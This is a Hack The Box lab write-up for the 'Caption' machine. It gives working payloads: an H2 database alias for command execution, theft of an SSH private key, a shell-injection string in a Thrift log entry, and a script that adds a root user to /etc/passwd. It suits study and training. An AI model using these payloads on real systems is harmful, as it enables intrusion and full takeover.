HTB Writeup - Caption
Enumeration
As usual, we start off with an nmap
scan to get a listing of open ports and running services:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://caption.htb
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
| HTTP/1.1 400 Bad request
| Content-length: 90
| Cache-Control: no-cache
| Connection: close
| Content-Type: text/html
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
| </body></html>
| FourOhFourRequest, GetRequest, HTTPOptions:
| HTTP/1.1 301 Moved Permanently
| content-length: 0
| location: http://caption.htb
|_ connection: close
8080/tcp open http-proxy
|_http-title: GitBucket
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Date: Sun, 15 Sep 2024 00:21:47 GMT
| Set-Cookie: JSESSIONID=node0omw41k1si9r1ikicjvicmspd2.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 5920
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>Error</title>
| <meta property="og:title" content="Error" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.14.114:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
| <meta property="og:image" content="http://10.129.14.114:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images
| GetRequest:
| HTTP/1.1 200 OK
| Date: Sun, 15 Sep 2024 00:21:44 GMT
| Set-Cookie: JSESSIONID=node01gcb0ozy3jwsu1okgyilb30zcl0.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 7195
| <!DOCTYPE html>
| <html prefix="og: http://ogp.me/ns#" lang="en">
| <head>
| <meta charset="UTF-8" />
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <title>GitBucket</title>
| <meta property="og:title" content="GitBucket" />
| <meta property="og:type" content="object" />
| <meta property="og:url" content="http://10.129.14.114:8080/" />
| <meta property="og:image" content="http://10.129.14.114:8080/assets/common/images/gitbucket_ogp.png" />
| <link rel="icon" href="/assets/common/images/gitbucket.png?20240915002145" t
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sun, 15 Sep 2024 00:21:46 GMT
| Set-Cookie: JSESSIONID=node017jm73sktqscuxnpzykbzgva41.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
|_ <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
8724/tcp filtered unknown
25065/tcp filtered unknown
41846/tcp filtered unknown
We see a fairly typical set up for a Linux web server; port 22 for remote administration via SSH, 80 for a web server and 8080 for an additional web server. There are several additional filtered ports which may not be correct.
We see on port 80, a redirect to caption.htb
so we add this to our /etc/hosts
file, start burpsuite
and visit the web site.
When we visit the website, we can see it is a Python web application using flask
. My first thought when I see this is template injection attacks, SSTI. This is a common vulnerability with this web service. We are initially presented with a log in screen though and we don’t have any credentials. We can try something simple like admin:admin
just to get the request into burpsuite
though for analysis later. We just see the response, Invalid Credentials
which was expected.
One of the headers we can see in the response is Via: varnish(6.6)
. Varnish has in the past been affected by a HTTP request smuggling attack so it’s something to think about.
We should kick off some directory busting and virtual host enumeration. First, using feroxbuster
:
feroxbuster -u http://caption.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
And then ffuf
for vhost enumeration:
ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://caption.htb/ -H 'Host: FUZZ.caption.htb' -t 40 -fs 0
Immediately, in the feroxbuster
output, we can see a few interesting endpoints that might indicate what caption.htb
is for, however, none are immediately accessible either giving 401 or 403 responses:
download
home
logout
firewalls
logs
On port 8080, we can see an instance of GitBucket. There doesn’t appear to be any public buckets available for us to look at immediately. We can try logging in with default credentials (Google this) and it works! The application has never had it’s default root
account changed, so now we can see two git repositories available to us, logservice
and caption-portal
.
With access to the GitBucket portal as the root
user, it turns out we can access the SQL DB terminal via the System administration -> Database viewer
.
Exploiting Access to SQL
This SQL flavor is H2
which is a Java version of SQL. Like all things Java, I don’t like it. But bias aside, it’s fun to hack. The most common way to abuse H2
is to run something like this:
CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;
Running this will give the output of Updated 0 rows.
when successful. It says 0 rows because it doesn’t modify any DB table records as we are just adding, effectively, something akin to a stored procedure.
This creates an alias EXECVE
which can be called afterwards to get remote code execution. For example:
call execve('cat /etc/passwd');
With the ability to execute code, we can look around the machine. We can see 2 users on the machine, and we can read some important files in the margo
user’s home directory such as the .ssh/id_ecdsa
file.
This is a private key for SSH using elliptic curve with DSA as the basis of the cryptography, not RSA. I raise this point because it’s typical in HTB machines to steal or interact with RSA files instead. However, this is not the only cryptographic algorithm you’ll find in the wild, so if your trick is to always grab
id_rsa
but you fail because it’s not there, give a go at the otherid_*
files that might be there. ECDSA is typically faster than RSA, but RSA has been around since the late 70’s and is well-vetted by the industry. Mathematically and generally speaking, they can be as secure as each other but overall security strength will be based on the size of the key and the security involved in protecting that private key. It is considered that ECDSA (and the more secure EdDSA) can achieve the same level of security with shorter key lengths and with higher performance. Don’t quote me on this though. I AM NOT A CRYPTOGRAPHY EXPERT.
We can exfiltrate the id_ecdsa
file and chmod 600 id_ecdsa
and then use it to log in via SSH using:
ssh -i id_ecdsa margo@$target
We now have a shell on the host as the margo
user.
Privilege Escalation from margo
Running netstat -tulpn
in the SSH session allows us to get a listing of ports listening interior to the host. It looks like there are a few open ports internally running some kind of python
application.
Running ps aux | grep python
reveals that these are likely the apps running from the user’s home directory. Underneath ~/app
, there is a python
app app.py
that has credentials for the application users (both admin and margo
) hard-coded.
We can drop the SSH and then re-connect and do a local port forward so we can access this application.
ssh -L 8000:127.0.0.1:8000 -i id_ecdsa margo@$target
Going to this application reveals it is the same Caption log in portal we saw running on port 80. But we now have credentials for the admin
user so we log in.
Despite being logged in, we get a 403 denied when trying to access the /logs
route. This is strange because we are the admin
user? Looking at the template for the logs HTML page, it looks like it will make requests back to the /download
endpoint using a URL for local host on the other port we can see internally, 3923:
<a href="/download?url=http://127.0.0.1:3923/ssh_logs">SSH Logs</a>
Maybe we can bypass looking at the /logs
endpoint altogether, and see how we can interact with the /downloads
instead. We still get a 403 denied when going to it manually.
Let’s just locally forward that port and interact with the service directly. We can download the logs.
The application running on port 3923 is copyparty
. No clue how to abuse this service. It’s not the log service that was displayed in the Git repository.
Looking at the other service running on the host at port 9090, appears like a Java application in the netstat
output. We forward this like the other ports so we can interact with it. Based on the code in the Git repository. it is running a thrift
server. Thrift is kind of like gRPC in the way that it is intended as a programming interface between different services as a common interface so developers can write whatever service in whatever programming language they want. server.go
reveals a command injection risk. Several lines indicate this:
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
If we can interact with the thrift
service, we can inject commands and have them run by whoever is running the service.
There are several python
libraries for interacting with thrift
but they all suck… because they are python
and even worse, python 2.7
and they are unmaintained pieces of trash code. It’s easy enough to interact with a thrift
service using some generated Golang code.
First, we need to get the thrift
compiler which takes a .thrift
file and generates code to interact with the services.
sudo apt install thrift-compiler
Then we can run this compiler on the service definition pulled from the Git repository:
thrift -r --gen go log_service.thrift
This generates a directory called gen-go
with a bunch of files. cd ./gen-go/log_service
to get to the directory with the simple CLI tool created to interact with this service specifically.
You may need to do this to prepare the project for running:
go mod init log_service
go get "github.com/apache/thrift/lib/go/thrift"
Then we can test connection to the service if we have done the port forward for 9090 to our local host:
go run log_service-remote/log_service-remote.go ReadLogFile /tmp/some.log
This will throw an error as expected:
Internal error processing ReadLogFile: error opening log file: open /tmp/some.log: no such file or directory
Now we just need to craft two files in the /tmp
directory on the target so we can exploit this command injection. Firstly, we need a log file for this tool to work on. We can ascertain its structure based on the code in server.go
and prepare the command injection like so. Make exploit.log
in the /tmp
directory containing:
127.0.0.1 "user-agent":"'; /bin/bash /tmp/exploit.sh #"
Then we can create the exploit payload exploit.sh
in the /tmp
directory as well:
echo 'pentester:$1$3/vMHtaa$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /etc/passwd
The intention is that when the exploit runs, a new pentester
user will be written to the /etc/passwd
file so we can then su pentester
and root the machine. You should use openssl passwd <you password>
to generate the hash for this command.
Then, to exploit the chain:
go run log_service-remote/log_service-remote.go ReadLogFile /tmp/exploit.log
cat /etc/passwd
reveals that the exploit worked and you should see an immediate output from the command:
Log file processed<nil>
We can then access our new pentester
user and we have a full shell as root on the machine.